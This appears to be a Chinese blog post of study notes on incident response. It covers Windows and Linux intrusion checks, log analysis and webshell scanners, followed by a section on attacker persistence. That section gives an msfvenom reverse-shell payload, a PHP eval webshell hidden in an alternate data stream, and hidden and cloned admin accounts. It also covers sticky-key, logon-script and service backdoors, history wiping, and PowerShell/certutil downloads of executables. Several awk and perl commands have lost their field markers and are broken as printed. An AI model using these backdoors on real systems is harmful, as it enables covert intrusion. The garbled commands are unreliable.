应急响应

Fantasy 发布于 2024-08-04 358 次阅读


一、入侵排查

企业发生黑客入侵、系统崩溃或其他影响业务正常运行的安全事件时,要第一时间处理。
首先判断是否为安全事件
常见的应急响应事件分类:
web入侵:网页挂马、主页篡改、webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS攻击、DNS劫持、ARP欺骗

1.1 windows入侵排查

环境:windows server 2008

1.1.1 检查系统账号安全

1、查看服务器是否有弱口令,远程管理端口是否对公网开放(22-ssh、3389-rdp)
2、查看服务器是否存在可疑账号、新增账号
cmd-->lusrmgr.msc-->禁用或删除可疑账号
3、查看服务器是否存在隐藏账号、克隆账号
打开注册表,查看管理员对应键值
使用D盾查杀工具
net user /add test//为隐藏账户,命令行里看不到,要在本地用户中才能看到
image-20240520164354306
image-20240520164653656
4、结合日志,查看管理员登陆时间、用户名是否存在异常
win+r-->eventvwr.msc(事件查看器)
如果短时间内存在大量数据,可能存在爆破
image-20240520163530199
image-20240520163542760

1.1.2 检查异常网络连接

1、检查网络连接情况,查看是否有远程连接、可以连接
cmd-->netstat -ano 定位可以的established
ESTABLISHEHED:完成连接并正在进行数据通信的状态
LISTENING:表示处于侦听状态,该端口是开放的,等待连接,但还没有被连接
CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断
TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT
根据netstat命令定位出PID编号,胎通过tasklist命令进行进程定位tasklist | findstr "PID"
2、查看可以进程 例如5555.exe
tasklist /svc
a.开始-->运行-->输入msinfo32命令,依此点击“软件环境-正在运行任务”就可以查看到进程的详细信息
b.打开D盾,进程查看,查看有无可疑进程
c.通过微软官方提供的Process Explorer等工具进行排查
工具下载地址:进程资源管理器 - Sysinternals | Microsoft Learn
d.查看可疑进程及其子进程

1.1.3 检查启动项、计划任务、服务

1、检查服务器是否有异常的启动项
开始-->所有程序-->启动,查看该目录下是否有空目录,确认是否有非业务程序在该目录下
image-20240522161212674
win+r-->msconfig,查看是否存在命名异常的启动项目,取消勾选异常命名的启动项,并到命令中显示的路径删除文件
image-20240522161246694
image-20240522161322836
win+r-->regedit打开注册表,查看开启启动项是否正常

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

image-20240522161538046
利用软件查看启动项、开机时间管理等
组策略,运行gpedit.msc
image-20240519095820600 | 350
2、查看服务器是否有异常的计划任务
控制面板-->系统与安全-->查看计划任务
利用软件查看计划任务
image-20240522161755057

3、检查服务器是否有异常服务
win+r-->services.msc 查看服务状态和启动类型,检查是否有异常服务
image-20240522161829755

1.2 Linux入侵排查

1.2.1 账号安全

基本使用

1、用户信息文件  /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
用户名:密码:用户ID:组ID:用户说明:家目录:登录之后的shell
account:
2、影子文件   /etc/shadow
root:yj9TRQcgTACt93TNkwh7BeIsw/dAkPjZjI0O9Mz5FSH5NvgPOKjiTkrxCtRha2NuC5/GB:19808:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的告警天数:密码过期后的宽限时间:账号失效时间:保留字段

image-20240519103036243

who 
w
uptime

入侵排查
1.查询特权用户(uid为0)

awk -F: '3 == 0 {print1}' /etc/passwd

image-20240522163736200
2.查询可以远程登录的账号信息

awk '/\1|\$6/{print1}' /etc/shadow

3.除root账号歪,其他账号是否存在sudo权限,如非管理需要,普通账号应删除sudo权限

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL = (ALL)"

4.禁用或删除多余及可疑的账号

usermod -L user  禁用账号,账号无法登录,/etc/shadow第二栏为!开头
userdel user        删除user用户
userdel -r user    将删除的user用户,并将/home目录下的user目录一并删除

1.2.2 历史命令

history 查看历史命令
history -c 清除历史操作命令,但不会清除保存在文件中的记录,需手动清除.bash_profile文件中的记录
cat .bash_history >>history.txt

1.2.3 检查异常网络连接

netstat -antlp
查看pid所对应的进程文件路径:
运行ls -l /proc/PID/exe 或 file /proc/PID/exe ($PID为对应的pid号)

proc是linux内核给的查询中心

1.2.4 检查异常进场

ps aux | grep pid
ps -a 查看所有进程

1.2.5 检查开机启动项

基本使用
Linux有7个系统运行级别

| 运行级别 | 含义 |
| :--: | :------------------------------: |
| 0 | 关机 |
| 1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
| 2 | 不完全的命令行模式,不含NFS服务 |
| 3 | 完全的命令行模式,就是标准字符界面 |
| 4 | 系统保留 |
| 5 | 图形模式 |
| 6 | 重启动 |
查看运行命令级别runlevel
开机启动配置文件
image-20240519105149183 | 350
开机启动配置文件

/etc/rc.d/rc.local
/etc/rc.d/rc[0-6].d

chkconfig命令用于检查、设置系统的各种服务

chkconfig --list [name]  服务列表[可根据实际需要,停掉不需要的服务]
chkconfig --add [name] 服务添加[如缺省,则从缺省的init脚本自动建立]
chkconfig --del [name]  服务删除[并把相关符号连接从/etc/rc[0-6].d删除]

设置开机启动脚本时,只要将可执行脚本放在/etc/init.d目录下,然后再/etc/rc.d/rc[0-6].d目录下建立软连接即可
启动项文件:

/etc/rc.d/rc.local
/etc/rc.d/rc[0-6].d
ll /etc/rc.d/rc3.d

image-20240522171345049

1.2.6 检查定时任务

利用crontab创建计划任务
crontab -l 列出某个用户定时任务的详细内容
image-20240522172219310
crontab -r 删除每个用户cron任务(删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件

*/1 * * * * echo "hello world" >> /tmp/test.txt

image-20240519110611595

1.2.7 检查服务

服务自启动

chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig --level 2345 httpd on  开机自启动
chkconfig httpd on (默认level是2345)

修改/etc/rc.d/rc.local
加入/etc/init.d/httpd start
image-20240522173824581
chkconfig --list 查看服务其启动状态,可以看到所有的RPM包安装的服务
image-20240522174226076
ps aux | grep crond 查看当前服务

chkconfig --list | grep "3:on\|5:on"
chkconfig --list | grep "3:启用\|5:启用"

image-20240522174442908

1.2.8 检查异常文件

1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件,以".."为名的文件夹具有隐藏属性
2、排查webshell、远控木马的创建时间
3、针对可疑文件可疑使用stat查看创建修改时间

1.2.9 检查系统日志

日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.config

| 日志文件 | 说明 |
| :------------------: | :----------------------------------------------------------------: |
| /var/log/cron | 记录了系统定时任务相关的日志 |
| /var/log/cups | 记录打印信息的日志 |
| /var/log/dmsesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
| /var/log/mailog | 记录邮件信息 |
| /var/log/message | 记录系统重要信息的日志。这个日志文件中会记录linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件。 |
| /var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/lastlog | 记录系统中素有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机时间。这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只能记录当前用户的信息,用w who users查看 |
| /var/log/secure | 记录验证和授权方面的信息,只要设计账号密码的程序都会记录,如ssh登录,su切换账户,sudo授权,添加用户修改用户密码等 |
爆破linux
image-20240522160522942
日志分析
1、定位有多少IP在爆破主机的root账号

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq  -c | sort -nr | more

2、定位有那些IP在爆破

grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c

3、爆破用户名字典是什么

grep "Failed password" /var/log/secure | perl -e 'while(_=<>){ /for(.*?) from/; print "1\n";}' | uniq -c | sort -nr

4、登录成功的IP有那些

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

5、登录成功的日期、用户名、IP

grep "Accepted" /var/log/secure | awk '{print 1,2,3,9,$11}' 

image-20240522160653932

1.2.10 工具查杀

1、Rootkit查杀
·chkrootkit
·rkhunter
2、病毒查杀
·Clamav
3、Webshell查杀
河马
4、RPM check

1.3 常见的Webshell查杀工具

1.3.1 D盾_web查杀

只有windows版本
下载地址:D盾防火墙 (d99net.net)
image-20240522193531716

1.3.2 河马

下载连接:SHELLPUB.COM 专注查杀,永久免费
image-20240522200218496

1.3.3 Web Shell Dectector

Web Shell Detector

1.3.4 CloudWalker

WebShell 绕过挑战 - CT Stack 安全社区 (chaitin.com)

1.3.5 PHP Malware Finder

1.3.6 FindWebshell

1.4 如何发现隐藏的WebShell后门

1.4.1 MD5校验

核心思想:不知道一个文件有没有被篡改,对该文件的md5计算,与源文件对比,若不同则被篡改

1.4.2 diff命令

diff命令用来比较两个文本文件的差异,通过diff -c -a -r 1.txt 2.txt

只看不同,不显示不同之处只要添加-q选项

1.4.3 文件对比工具

Beyond Compare

WinMerge

1.5 勒索病毒自救指南

1.5.1 勒索病毒加密原理

image-20240519142014026

1.5.2 勒索病毒搜索引擎

二、日志分析

2.1 Windows 日志分析

环境 :windows server 2008 R2

三、权限维持

3.1 Windows权限维持-隐藏篇

环境:Windows Server 2008

3.1.1 隐藏文件

1、利用文件属性,属性-隐藏-确定,如果让文件显示出来,显示隐藏的文件
真正隐藏文件:Attrib +s +a +h +r 使用attrib把文件增加系统文件属性、存档文件属性、只读文件属性、隐藏文件属性
attrib +s +a +h +r \路径
破解隐藏文件:
文件夹选项卡-取消"隐藏受保护的操作系统文件"勾选,“隐藏文件和文件夹”下的显示隐藏的文件、文件夹和驱动器
image-20240522212449157
2、利用ADS隐藏文件内容

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

3.1.2 隐藏账号

建立一个test$账号,密码为123qwe

net user test$ 111qqq! /add   #创建隐藏账号


使用net user 无法查看test$账号

查看隐藏账号
image-20240522212558342
克隆账号
win+R输入regedit打开注册表,修改“HKEY_LOCAL_MACHINE\SAM\SAM”给administrator赋予完全权限

再次打开注册表,复制administrator的f值复制到test$账号

利用test$ 111qqq!远程登录,即是administrator权限,

3.1.3 进程注入

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.157 LPORT=7764 -f exe > 7764.exe

生成后门文件
image-20240522214443893
通过后门投递,获得目标机器的meterpreter

kali中msfconsole开始攻击,靶机运行7764.exe,kali获取命令执行环境

3.2 windows权限维持-后门篇

3.2.1 粘滞键后门

image-20240522213730855image-20240522213816898粘滞键替换cmd
image-20240522213921367注销账户时,使用粘滞键打开cmd窗口image-20240522214041318

3.2.2 logon scripts后门

kali创建msfvenom文件
image-20240522214443893

REG ADD "HEKY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"

image-20240522215206822靶机运行7765.exe,kali获取到meterpreter
image-20240522215716973

3.2.3 服务自启动后门

sc config test binpath= C:\Users\Administrator\Desktop\7764.exe  创建服务
sc config test start= auto   设置服务自启动
net start test   启动服务

靶机设置完启动服务重启登录,kali获取meterpreter
image-20240522220104002

3.3 linux权限维持-隐藏篇

3.3.1 隐藏文件

touch .a.txt  #文件名签名加.表示隐藏文件

使用ls -a或ls -al查看隐藏文件

3.3.2 隐藏文件时间戳

使用touch命令修改时间

touch -t 201908081042.30 a.txt

3.3.3 隐藏权限

chattr +i a.txt   为文件添加锁定属性
lsattr a.txt      属性查看
chattr -i a.txt   解除锁定
rm -rf a.txt      删除文件

3.3.4 隐藏历史操作命令

set +o history  禁用历史
set -o history  开启历史
history | grep "xxx"  查找包含某字段的命令
history -d [num]  删除第xx条历史
sed -i '150,$d' .bash_history  只保留前150行记录

image-20240522213423672

3.4 linux权限维持-后门篇

3.4.1 免密登录

linux ssh免密登录
过程中按三次回车image-20240522220244164/root/.ssh查看生成文件image-20240522220507607image-20240522220548768vim /etc/ssh/sshd_configimage-20240522220643871
xshell进行ssh登录
image-20240626165402131

image-20240626165333471

3.5 Windows命令行下载方法

3.5.1 powershell下载

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.0.159/dvwa/5555.exe','5555.exe')

3.5.2 certutil下载

certutil -urlcache -split -f http://10.0.0.159/dvwa/5556.exe  5556.exe

image-20240522223033384

此作者没有提供个人介绍
最后更新于 2024-08-07